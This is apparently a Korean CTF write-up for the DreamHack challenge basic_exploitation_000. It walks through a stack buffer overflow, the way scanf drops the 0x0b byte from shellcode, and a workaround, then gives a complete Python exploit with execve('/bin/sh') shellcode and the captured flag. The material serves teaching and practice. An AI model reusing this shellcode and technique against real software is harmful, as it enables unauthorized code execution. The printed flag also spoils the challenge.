[๐Ÿฅ‰ Bronze 2] scanf ๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์ž˜๋ผ๋จน๋Š”๋‹ค โ€” DreamHack basic_exploitation_000 ํ’€์ด

2026-06-25ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] scanf ๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์ž˜๋ผ๋จน๋Š”๋‹ค โ€” DreamHack basic_exploitation_000 ํ’€์ด

buf ์ฃผ์†Œ๋ฅผ ์นœ์ ˆํžˆ ๋ˆ„์ถœํ•ด ์ฃผ๊ณ  scanf ๋กœ ์Šคํƒ์„ ๋„˜์น˜๊ฒŒ ํ•˜๋Š” ์ „ํ˜•์ ์ธ ์Šคํƒ ์…ธ์ฝ”๋“œ ๋ฌธ์ œ. ๊ทธ๋Ÿฐ๋ฐ ๊ต๊ณผ์„œ execve ์…ธ์ฝ”๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์“ฐ๋ฉด ๋™์ž‘ํ•˜์ง€ ์•Š๋Š”๋‹ค. scanf("%s") ๊ฐ€ ์…ธ์ฝ”๋“œ ์•ˆ์˜ 0x0b(SYS_execve) ๋ฅผ ๊ณต๋ฐฑ์œผ๋กœ ๋ณด๊ณ  ๊ฑฐ๊ธฐ์„œ ์ž˜๋ผ๋จน๊ธฐ ๋•Œ๋ฌธ. 0x0b ๋ฐ”์ดํŠธ ์—†์ด 11์„ ๋งŒ๋“ค์–ด ์šฐํšŒํ•˜๊ณ , ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ๋กœ ์ ํ”„ํ•ด ์…ธ์„ ๋„์šด๋‹ค.

๋ฌธ์ œ: DreamHack โ€” basic_exploitation_000 ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{465dd453b2a25a26a847a93d3695676d}

์ด๋ฆ„ ๊ทธ๋Œ€๋กœ "๊ธฐ๋ณธ ์ต์Šคํ”Œ๋กœ์ž‡" ๋ฌธ์ œ๋‹ค. buf ์ฃผ์†Œ๋ฅผ ์นœ์ ˆํ•˜๊ฒŒ ์ถœ๋ ฅํ•ด ์ฃผ๊ณ , scanf ๋กœ ์Šคํƒ์„ ๋„˜์น˜๊ฒŒ ํ•œ๋‹ค. NX๋„ ๊บผ์ ธ ์žˆ์–ด์„œ ์Šคํƒ์— ์˜ฌ๋ฆฐ ์…ธ์ฝ”๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋œ๋‹ค โ€” ๊ต๊ณผ์„œ์ ์ธ ์Šคํƒ ์…ธ์ฝ”๋“œ ๋ฌธ์ œ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๊ต๊ณผ์„œ ์…ธ์ฝ”๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ถ™์—ฌ ๋„ฃ์œผ๋ฉด ๋™์ž‘ํ•˜์ง€ ์•Š๋Š”๋‹ค. ์…ธ์ด ์•ˆ ๋œจ๊ณ  ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ฃฝ๋Š”๋‹ค. ์ด ๊ธ€์˜ ์ ˆ๋ฐ˜์€ "์™œ ์•ˆ ๋˜์ง€?"๋ฅผ ํŒŒ๋Š” ๊ณผ์ •์ด๊ณ , ๋ฒ”์ธ์€ scanf ์˜€๋‹ค.

์Šคํƒ ๋ ˆ์ด์•„์›ƒ๊ณผ ret โ†’ ์…ธ์ฝ”๋“œ ์ ํ”„
์Šคํƒ ๋ ˆ์ด์•„์›ƒ๊ณผ ret โ†’ ์…ธ์ฝ”๋“œ ์ ํ”„

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…basic_exploitation_000
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต32-bit ELF ๋ฐ”์ด๋„ˆ๋ฆฌ + ์†Œ์Šค + ์›๊ฒฉ ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ buf ์ฃผ์†Œ ๋ˆ„์ถœ + scanf ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ โ†’ ์Šคํƒ ์…ธ์ฝ”๋“œ (๋‹จ, scanf ๋ฐฐ๋“œ์บ๋ฆญํ„ฐ ์šฐํšŒ ํ•„์š”)

ํ’€์ด ํ๋ฆ„์€ ์งง๋‹ค. โ‘  ์†Œ์Šค์™€ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ๋ณธ๋‹ค โ†’ โ‘ก buf๊ฐ€ ์Šคํƒ ์–ด๋””์— ์žˆ๊ณ  ret๊นŒ์ง€ ๊ฑฐ๋ฆฌ๊ฐ€ ์–ผ๋งˆ์ธ์ง€ ๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์žก๋Š”๋‹ค โ†’ โ‘ข ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ๋กœ ret๋ฅผ ๋ฎ์–ด ์Šคํƒ ์…ธ์ฝ”๋“œ๋กœ ์ ํ”„ํ•œ๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง€๋Š” ์ •์„์ธ๋ฐ, โ‘ข์—์„œ ์…ธ์ฝ”๋“œ๊ฐ€ ์•ˆ ํ„ฐ์ ธ์„œ โ‘ฃ scanf ๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์ž˜๋ผ๋จน๋Š” ๊ฑธ ๋ฐœ๊ฒฌํ•˜๊ณ  ์šฐํšŒํ•œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์™€ ์Šคํƒ ์…ธ์ฝ”๋“œ

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋Š” ์ง€์—ญ ๋ฒ„ํผ์— ๊ทธ ํฌ๊ธฐ๋ณด๋‹ค ๋งŽ์ด ์จ์„œ ์ธ์ ‘ํ•œ ์Šคํƒ ์˜์—ญ(์ €์žฅ๋œ ๋ ˆ์ง€์Šคํ„ฐ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ)์„ ๋ฎ๋Š” ๊ณ ์ „ ๊ธฐ๋ฒ•์ด๋‹ค.

๋ฒ„ํผ ๊ฒฝ๊ณ„๋ฅผ ๋„˜์–ด ์ธ์ ‘ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๋ชจ์Šต
๋ฒ„ํผ ๊ฒฝ๊ณ„๋ฅผ ๋„˜์–ด ์ธ์ ‘ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๋ชจ์Šต

์ถœ์ฒ˜: Wikimedia Commons, WhoAteMyButter, CC0

32๋น„ํŠธ ํ•จ์ˆ˜์˜ ์Šคํƒ ํ”„๋ ˆ์ž„์€ ์œ„์—์„œ๋ถ€ํ„ฐ ์ง€์—ญ ๋ณ€์ˆ˜(buf) โ†’ ์ €์žฅ๋œ ebp โ†’ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ์ˆœ์œผ๋กœ ์Œ“์ธ๋‹ค. ํ•จ์ˆ˜๊ฐ€ ๋๋‚  ๋•Œ ret ๊ฐ€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊บผ๋‚ด ๊ทธ๋ฆฌ๋กœ ์ ํ”„ํ•˜๋ฏ€๋กœ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ๋ฎ์œผ๋ฉด ์‹คํ–‰ ํ๋ฆ„์„ ๊ฐ€์ ธ์˜จ๋‹ค.

์—ฌ๊ธฐ์— ๋‘ ๊ฐ€์ง€ ์กฐ๊ฑด์ด ๋”ํ•ด์ง€๋ฉด ๊ฐ€์žฅ ๋‹จ์ˆœํ•œ ํ˜•ํƒœ์˜ ์ต์Šค๊ฐ€ ๋œ๋‹ค. ์ฒซ์งธ, NX(์Šคํƒ ์‹คํ–‰ ๋ฐฉ์ง€)๊ฐ€ ๊บผ์ ธ ์žˆ์œผ๋ฉด ์Šคํƒ์— ์˜ฌ๋ฆฐ ๊ธฐ๊ณ„์–ด(์…ธ์ฝ”๋“œ)๋ฅผ ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋‘˜์งธ, ์…ธ์ฝ”๋“œ๊ฐ€ ์–ด๋”” ์žˆ๋Š”์ง€ ์ฃผ์†Œ๋ฅผ ์•Œ๋ฉด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ ์ฃผ์†Œ๋กœ ๋ฎ์–ด ์ ํ”„ํ•˜๋ฉด ๋œ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์นœ์ ˆํ•˜๊ฒŒ๋„ ๊ทธ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ์ถœ๋ ฅํ•ด ์ค€๋‹ค.


๐Ÿ”ฌ ์ •์ฐฐ โ€” ์†Œ์Šค์™€ ๋ณดํ˜ธ๊ธฐ๋ฒ•

์†Œ์Šค๋ถ€ํ„ฐ ๋ณธ๋‹ค. main ์€ ์งง๋‹ค.

int main(int argc, char *argv[]) {
    char buf[0x80];
    initialize();
    printf("buf = (%p)\n", buf);   // (1) buf ์˜ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ์•Œ๋ ค์ค€๋‹ค
    scanf("%141s", buf);            // (2) buf[0x80]=128 ์ธ๋ฐ 141๋ฐ”์ดํŠธ๊นŒ์ง€ ์ฝ๋Š”๋‹ค โ†’ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ
    return 0;
}

๋‘ ์ค„์ด ์ „๋ถ€๋‹ค. printf ๊ฐ€ buf์˜ ์ฃผ์†Œ๋ฅผ ๋ˆ„์ถœํ•˜๊ณ , scanf("%141s") ๊ฐ€ 128๋ฐ”์ดํŠธ ๋ฒ„ํผ์— 141๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด 13๋ฐ”์ดํŠธ ๋„˜์นœ๋‹ค. ์ด ์ •๋„๋ฉด ์ €์žฅ๋œ ebp(4)์™€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ(4)๋ฅผ ๋ฎ๊ธฐ์— ์ถฉ๋ถ„ํ•˜๋‹ค.

๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ํ™•์ธํ•œ๋‹ค.

file basic_exploitation_000
readelf -l basic_exploitation_000 | grep GNU_STACK   # RWE ๋ฉด NX off
readelf -h basic_exploitation_000 | grep Type         # EXEC = No PIE
readelf -s basic_exploitation_000 | grep __stack_chk  # ์—†์œผ๋ฉด No Canary
๋ณดํ˜ธ๊ธฐ๋ฒ• โ€” NX ๊บผ์ง(RWX ์Šคํƒ), No PIE, No Canary
๋ณดํ˜ธ๊ธฐ๋ฒ• โ€” NX ๊บผ์ง(RWX ์Šคํƒ), No PIE, No Canary

์„ธ ๊ฐ€์ง€๊ฐ€ ์ „๋ถ€ ์šฐ๋ฆฌ ํŽธ์ด๋‹ค. NX ๊บผ์ง์ด๋ผ ์Šคํƒ ์…ธ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ณ , No PIE๋ผ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ด๋ฉฐ, No Canary๋ผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์นด๋‚˜๋ฆฌ์— ๊ฑธ๋ฆฌ์ง€ ์•Š๊ณ  ๊ณง์žฅ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๋‹ฟ๋Š”๋‹ค. ๋ˆ„์ถœ๊นŒ์ง€ ํ•ด ์ฃผ๋‹ˆ, ์‚ฌ์‹ค์ƒ "์—ฌ๊ธฐ๋กœ ์ ํ”„ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค"๋ฅผ ๋– ๋จน์—ฌ ์ฃผ๋Š” ์…ˆ์ด๋‹ค.

์ด์ œ buf๊ฐ€ ์Šคํƒ ์–ด๋””์— ์žˆ๋Š”์ง€, ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ฑฐ๋ฆฌ๊ฐ€ ์–ผ๋งˆ์ธ์ง€ ๋””์Šค์–ด์…ˆ๋ธ”๋กœ ์ •ํ™•ํžˆ ์žก๋Š”๋‹ค.

objdump -d -M intel basic_exploitation_000 | sed -n '/<main>:/,/ret/p'
main ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf ๋Š” ebp-0x80, scanf ๊ฐ€ [ebp-0x80] ์— ์ฝ๋Š”๋‹ค
main ๋””์Šค์–ด์…ˆ๋ธ” โ€” buf ๋Š” ebp-0x80, scanf ๊ฐ€ [ebp-0x80] ์— ์ฝ๋Š”๋‹ค

lea eax,[ebp-0x80] ๊ฐ€ ๋‘ ๋ฒˆ ๋‚˜์˜จ๋‹ค โ€” printf์™€ scanf ๋ชจ๋‘ buf๋ฅผ ebp-0x80 ์œผ๋กœ ์žก๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์Šคํƒ ๋ฐฐ์น˜๋Š” ์ด๋ ‡๋‹ค.

  • buf: ebp-0x80 (128๋ฐ”์ดํŠธ)
  • ์ €์žฅ๋œ ebp: ebp+0 (4๋ฐ”์ดํŠธ)
  • ๋ฐ˜ํ™˜ ์ฃผ์†Œ: ebp+4 (4๋ฐ”์ดํŠธ)

buf์—์„œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊นŒ์ง€ ๊ฑฐ๋ฆฌ = 0x80 + 4 = 0x84 = 132๋ฐ”์ดํŠธ. scanf("%141s") ๋Š” 141๋ฐ”์ดํŠธ๊นŒ์ง€ ์ฝ์œผ๋‹ˆ 132๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด ๋’ค 4๋ฐ”์ดํŠธ๋กœ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๊ณ ๋„ ๋‚จ๋Š”๋‹ค.


๐Ÿ’ฃ ์ทจ์•ฝ์  โ€” ๋ˆ„์ถœ + ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ + ์ ํ”„

๊ณ„ํš์€ ๋‹จ์ˆœํ•˜๋‹ค. buf ์•ˆ์— ์…ธ์ฝ”๋“œ๋ฅผ ๊น”๊ณ , 132๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด ๋‹ค์Œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ๋กœ ๋ฎ๋Š”๋‹ค. ret ๊ฐ€ buf๋กœ ์ ํ”„ํ•˜๋ฉด ๊ฑฐ๊ธฐ ๊น”๋ฆฐ ์…ธ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ ๊ตฌ์„ฑ:

[ shellcode ][ NOP ํŒจ๋”ฉ ........... ][ ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ ]
  buf[0]       132๋ฐ”์ดํŠธ ์ฑ„์šธ ๋•Œ๊นŒ์ง€     ret (buf+0x84)

ret ๋ชฉ์ ์ง€๋ฅผ buf์˜ ์‹œ์ž‘(์…ธ์ฝ”๋“œ ์ฒซ ๋ฐ”์ดํŠธ)์œผ๋กœ ์žก์œผ๋ฉด ๋์ด๋‹ค. ASLR ๋•Œ๋ฌธ์— buf ์ฃผ์†Œ๋Š” ์—ฐ๊ฒฐํ•  ๋•Œ๋งˆ๋‹ค ๋ฐ”๋€Œ์ง€๋งŒ, ๋งค๋ฒˆ ์ถœ๋ ฅํ•ด ์ฃผ๋‹ˆ ๋ฐ›์•„์„œ ๊ทธ๋Œ€๋กœ ์“ฐ๋ฉด ๋œ๋‹ค.

์—ฌ๊ธฐ๊นŒ์ง€ ์งœ์„œ ๋ณด๋‚ด๋ฉด โ€” ์•ˆ ๋œ๋‹ค. ์…ธ์ด ์•ˆ ๋œจ๊ณ  ์—ฐ๊ฒฐ์ด ๋Š๊ธด๋‹ค. ์…ธ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋‹ค ์ฃฝ๋Š” ๊ฒƒ ๊ฐ™์€๋ฐ, ํŽ˜์ด๋กœ๋“œ๋„ ์˜คํ”„์…‹๋„ ๋งž๋‹ค. ๋ฒ”์ธ์„ ์ฐพ์•„์•ผ ํ–ˆ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” scanf ๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์ž˜๋ผ๋จน๋Š”๋‹ค

๋ฐ˜ํ™˜ ์ฃผ์†Œ ์ œ์–ด๊ฐ€ ๋˜๋Š”์ง€๋ถ€ํ„ฐ ํ™•์ธํ–ˆ๋‹ค. ret์— BBBB(0x42424242)๋ฅผ ๋„ฃ์–ด ๋ณด๋‹ˆ gdb์—์„œ EIP๊ฐ€ ์ •ํ™•ํžˆ 0x42424242 ๊ฐ€ ๋๋‹ค. ์˜คํ”„์…‹ 132๋Š” ๋งž๊ณ , ํ๋ฆ„ ํƒˆ์ทจ๋„ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋ฌธ์ œ๋Š” ์…ธ์ฝ”๋“œ ์ชฝ์ด๋‹ค.

NX๊ฐ€ ์ •๋ง ๊บผ์ ธ ์žˆ๋Š”์ง€(์Šคํƒ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ์ง€)๋„ ๋‹ค์‹œ ํ™•์ธํ–ˆ๋‹ค. GNU_STACK ํ”Œ๋ž˜๊ทธ๊ฐ€ RWE โ€” ์‹คํ–‰ ๊ฐ€๋Šฅ ๋งž๋‹ค. ๊ทธ๋Ÿฐ๋ฐ๋„ ์…ธ์ฝ”๋“œ๊ฐ€ ์•ˆ ํ„ฐ์ง„๋‹ค.

gdb๋กœ buf์— ์‹ค์ œ๋กœ ์จ์ง„ ์…ธ์ฝ”๋“œ๋ฅผ ๋“ค์—ฌ๋‹ค๋ดค๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” gdb ๋กœ ๋ณธ buf: ์…ธ์ฝ”๋“œ๊ฐ€ ์ค‘๊ฐ„์— ์ž˜๋ ค ์žˆ๋‹ค

naive execve ์…ธ์ฝ”๋“œ๋ฅผ ํŽ˜์ด๋กœ๋“œ๋กœ ๋„ฃ๊ณ , scanf ๊ฐ€ ๋๋‚œ ์งํ›„(leave ์ „) buf๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”ํ•ด ๋ดค๋‹ค.

gdb โ€” buf ์˜ ์…ธ์ฝ”๋“œ๊ฐ€ mov al,0x0b ์ž๋ฆฌ์—์„œ ๋Š๊ธฐ๊ณ  ๋’ค๊ฐ€ 0 ์œผ๋กœ ์ฑ„์›Œ์ง
gdb โ€” buf ์˜ ์…ธ์ฝ”๋“œ๊ฐ€ mov al,0x0b ์ž๋ฆฌ์—์„œ ๋Š๊ธฐ๊ณ  ๋’ค๊ฐ€ 0 ์œผ๋กœ ์ฑ„์›Œ์ง

์…ธ์ฝ”๋“œ ์•ž๋ถ€๋ถ„(xor eax,eax ~ xor edx,edx)์€ ๋ฉ€์ฉกํ•œ๋ฐ, mov al, 0xb(execve ์‹œ์Šคํ…œ์ฝœ ๋ฒˆํ˜ธ ์„ธํŒ…) ์ž๋ฆฌ๊ฐ€ mov al, 0x0 ์œผ๋กœ, ๊ทธ ๋’ค int 0x80 ์€ add %al,(%eax)(= 0x00 0x00) ์œผ๋กœ ๊นจ์ ธ ์žˆ๋‹ค. 0x0b ๋ถ€ํ„ฐ ๋’ค๊ฐ€ ํ†ต์งธ๋กœ 0์ด๋‹ค. scanf๊ฐ€ ๊ฑฐ๊ธฐ์„œ ์ฝ๊ธฐ๋ฅผ ๋ฉˆ์ท„๋‹ค๋Š” ๋œป์ด๋‹ค.

mov al, 0xb ์˜ 0x0b ๋ฐ”์ดํŠธ๊ฐ€ ๋ฒ”์ธ์ด์—ˆ๋‹ค. scanf("%s") ๋Š” ๊ณต๋ฐฑ ๋ฌธ์ž์—์„œ ์ฝ๊ธฐ๋ฅผ ๋ฉˆ์ถ”๋Š”๋ฐ, ๊ณต๋ฐฑ์œผ๋กœ ์น˜๋Š” ๋ฐ”์ดํŠธ๊ฐ€ ์ŠคํŽ˜์ด์Šค(0x20)๋งŒ์ด ์•„๋‹ˆ๋‹ค. isspace() ๊ธฐ์ค€์œผ๋กœ 0x09(\t), 0x0a(\n), 0x0b(\v), 0x0c(\f), 0x0d(\r) ๋„ ์ „๋ถ€ ๊ณต๋ฐฑ์ด๋‹ค.

ํ•˜ํ•„ execve์˜ ์‹œ์Šคํ…œ์ฝœ ๋ฒˆํ˜ธ 11 = 0x0b ๊ฐ€ ์„ธ๋กœ ํƒญ(\v)์ด๋ผ scanf๊ฐ€ ๊ฑฐ๊ธฐ์„œ ์ž˜๋ผ ๋ฒ„๋ฆฐ๋‹ค. ๊ทธ๋ž˜์„œ ์…ธ์ฝ”๋“œ๊ฐ€ mov al, ๊นŒ์ง€๋งŒ ๋“ค์–ด๊ฐ€๊ณ  ๋’ค๊ฐ€ ๋‚ ์•„๊ฐ„ ๊ฒƒ์ด๋‹ค.

# demo_badchar.py โ€” naive ์…ธ์ฝ”๋“œ์˜ 0x0b ๊ฐ€ scanf ์˜ ๊ณต๋ฐฑ ์ •์ง€ ๋ฐ”์ดํŠธ์™€ ๊ฒน์นœ๋‹ค
naive = bytes.fromhex("31c050682f2f7368682f62696e89e3505389e131d2b00bcd80")
WS = {0x09,0x0a,0x0b,0x0c,0x0d,0x20}   # scanf("%s") ๊ฐ€ ๋ฉˆ์ถ”๋Š” ๋ฐ”์ดํŠธ
print([hex(b) for b in naive if b in WS])   # -> ['0xb']  (mov al,0x0b ์˜ 0x0b)
๋ฐฐ๋“œ์บ๋ฆญํ„ฐ ๋ถ„์„ โ€” 0x0b ๊ฐ€ scanf ์ •์ง€ ๋ฐ”์ดํŠธ, ์šฐํšŒ๋ฒ•
๋ฐฐ๋“œ์บ๋ฆญํ„ฐ ๋ถ„์„ โ€” 0x0b ๊ฐ€ scanf ์ •์ง€ ๋ฐ”์ดํŠธ, ์šฐํšŒ๋ฒ•

ํ•ด๋ฒ•์€ ๊ฐ„๋‹จํ•˜๋‹ค. ์…ธ์ฝ”๋“œ ๋ฐ”์ดํŠธ์— 0x0b(๊ณผ ๋‹ค๋ฅธ ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ)๊ฐ€ ๋‚˜์˜ค์ง€ ์•Š๊ฒŒ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค. 11์ด๋ผ๋Š” ๊ฐ’์„ 0x0b ๋ฐ”์ดํŠธ๋ฅผ ์ง์ ‘ ์“ฐ์ง€ ์•Š๊ณ  ๋งŒ๋“ค์–ด ๋‚ด๋ฉด ๋œ๋‹ค.

mov al, 0x16     ; b0 16   (0x16 ์€ ๊ณต๋ฐฑ ์•„๋‹˜)
shr al, 1        ; d0 e8   -> 0x16 >> 1 = 0x0b

0x16 >> 1 = 0x0b. ๋ฐ”์ดํŠธ๋Š” b0 16 d0 e8 ๋กœ, ์–ด๋””์—๋„ ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ๊ฐ€ ์—†๋‹ค. ์…ธ์ฝ”๋“œ ๋‚˜๋จธ์ง€ ๋ฐ”์ดํŠธ(/bin//sh ๋ฌธ์ž์—ด, ํ‘ธ์‹œ, int 0x80 ๋“ฑ)๋„ ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธํ•˜๋ฉด ๋์ด๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

scanf-์•ˆ์ „ ์…ธ์ฝ”๋“œ๋กœ ๋ฐ”๊พธ๊ณ , ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ๋กœ ret๋ฅผ ๋ฎ๋Š”๋‹ค. ํ•œ ๊ฐ€์ง€ ๋” โ€” ๋ˆ„์ถœ๋œ buf ์ฃผ์†Œ ์ž์ฒด์— ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ๊ฐ€ ๋“ค์–ด ์žˆ์œผ๋ฉด ๊ทธ ์ฃผ์†Œ๋ฅผ ์“ฐ๋Š” ret ๋ถ€๋ถ„๋„ scanf์— ์ž˜๋ฆฐ๋‹ค. ASLR์ด๋ผ ์ฃผ์†Œ๊ฐ€ ๋งค๋ฒˆ ๋ฐ”๋€Œ๋‹ˆ, ์ฃผ์†Œ์— ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ๊ฐ€ ๋ผ๋ฉด ๊ทธ๋ƒฅ ์ƒˆ๋กœ ์—ฐ๊ฒฐํ•ด ๋‹ค๋ฅธ ์ฃผ์†Œ๋ฅผ ๋ฐ›์œผ๋ฉด ๋œ๋‹ค.

์ „์ฒด ํ๋ฆ„:

  1. ์—ฐ๊ฒฐ โ†’ buf = (0x...) ํŒŒ์‹ฑ
  2. ์ฃผ์†Œ 4๋ฐ”์ดํŠธ์— ๊ณต๋ฐฑ ๋ฐ”์ดํŠธ๊ฐ€ ์žˆ์œผ๋ฉด ์žฌ์—ฐ๊ฒฐ
  3. scanf-safe ์…ธ์ฝ”๋“œ + NOP(132๊นŒ์ง€) + buf ์ฃผ์†Œ ์ „์†ก
  4. ret ๊ฐ€ buf๋กœ ์ ํ”„ โ†’ ์Šคํƒ ์…ธ์ฝ”๋“œ ์‹คํ–‰ โ†’ /bin/sh
  5. ์…ธ์— cat /home/basic_exploitation_000/flag ๋ฅผ ํ˜๋ ค๋ณด๋‚ด flag ํšŒ์ˆ˜

๐Ÿš€ Full Exploit

#!/usr/bin/env python3
# basic_exploitation_000 โ€” ์Šคํƒ ์…ธ์ฝ”๋“œ (pwntools ์—†์ด raw ์†Œ์ผ“)
import socket, struct, re, sys, time
 
HOST, PORT = "host3.dreamhack.games", 14187
if len(sys.argv) >= 3:
    HOST, PORT = sys.argv[1], int(sys.argv[2])
 
# scanf("%s")-safe execve("/bin/sh"): 0x0b ๋ฅผ ์ง์ ‘ ์“ฐ์ง€ ์•Š๊ณ  mov al,0x16; shr al,1 ๋กœ 11 ์ƒ์„ฑ
shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
             b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x16\xd0\xe8\xcd\x80")
WS = set(b"\x09\x0a\x0b\x0c\x0d\x20")    # scanf ์ •์ง€ ๋ฐ”์ดํŠธ
assert not (set(shellcode) & WS)
RET_OFF = 0x84    # buf -> ๋ฐ˜ํ™˜ ์ฃผ์†Œ = 0x80 + 4 = 132
 
def recv_until(s, marker, t=5.0):
    s.settimeout(t); buf = b""
    while marker not in buf:
        d = s.recv(4096)
        if not d: break
        buf += d
    return buf
 
def attempt():
    s = socket.socket(); s.settimeout(5); s.connect((HOST, PORT))
    banner = recv_until(s, b")")
    buf_addr = int(re.search(rb"buf = \((0x[0-9a-f]+)\)", banner).group(1), 16)
    addr_bytes = struct.pack("<I", buf_addr)
    if set(addr_bytes) & WS:               # ret ์ฃผ์†Œ๊ฐ€ scanf ์— ์ž˜๋ฆด ์œ„ํ—˜ -> ์žฌ์‹œ๋„
        s.close(); return None
    payload = shellcode + b"\x90" * (RET_OFF - len(shellcode)) + addr_bytes
    print(f"[*] leaked buf = {hex(buf_addr)}, payload {len(payload)} bytes, ret -> shellcode")
    s.sendall(payload + b"\n"); time.sleep(0.5)
    s.sendall(b"cat /home/basic_exploitation_000/flag /flag 2>/dev/null\n"); time.sleep(0.6)
    out = b""; s.settimeout(3.0)
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            out += d
    except (socket.timeout, ConnectionResetError):
        pass
    s.close(); return out
 
for _ in range(12):
    out = attempt()
    if out is None:
        continue
    m = re.search(rb"DH\{[^}]*\}", out)
    if m:
        print(">>> FLAG:", m.group(0).decode()); break

์›๊ฒฉ์— ๋˜์ง€๋ฉด ๋ˆ„์ถœ ์ฃผ์†Œ๋ฅผ ๋ฐ›์•„ ์…ธ์ฝ”๋“œ๋กœ ์ ํ”„ํ•˜๊ณ , ์…ธ์—์„œ flag๋ฅผ ์ฝ์–ด ์˜จ๋‹ค.

๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ต์Šค โ€” ๋ˆ„์ถœ ์ฃผ์†Œ๋กœ ์ ํ”„ํ•ด ์…ธ, flag ํšŒ์ˆ˜
๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ต์Šค โ€” ๋ˆ„์ถœ ์ฃผ์†Œ๋กœ ์ ํ”„ํ•ด ์…ธ, flag ํšŒ์ˆ˜
[*] leaked buf = 0xffb55f88, payload 136 bytes, ret -> shellcode
>>> FLAG: DH{465dd453b2a25a26a847a93d3695676d}


๐Ÿ“ ๊ฒฐ๋ก 

๊ฐ€์žฅ ๋‹จ์ˆœํ•œ ์ต์Šค์—์„œ ๊ฐ€์žฅ ํ”ํ•˜๊ฒŒ ๋ฐ์ด๋Š” ๊ฒŒ ๋ฐฐ๋“œ์บ๋ฆญํ„ฐ๋‹ค.

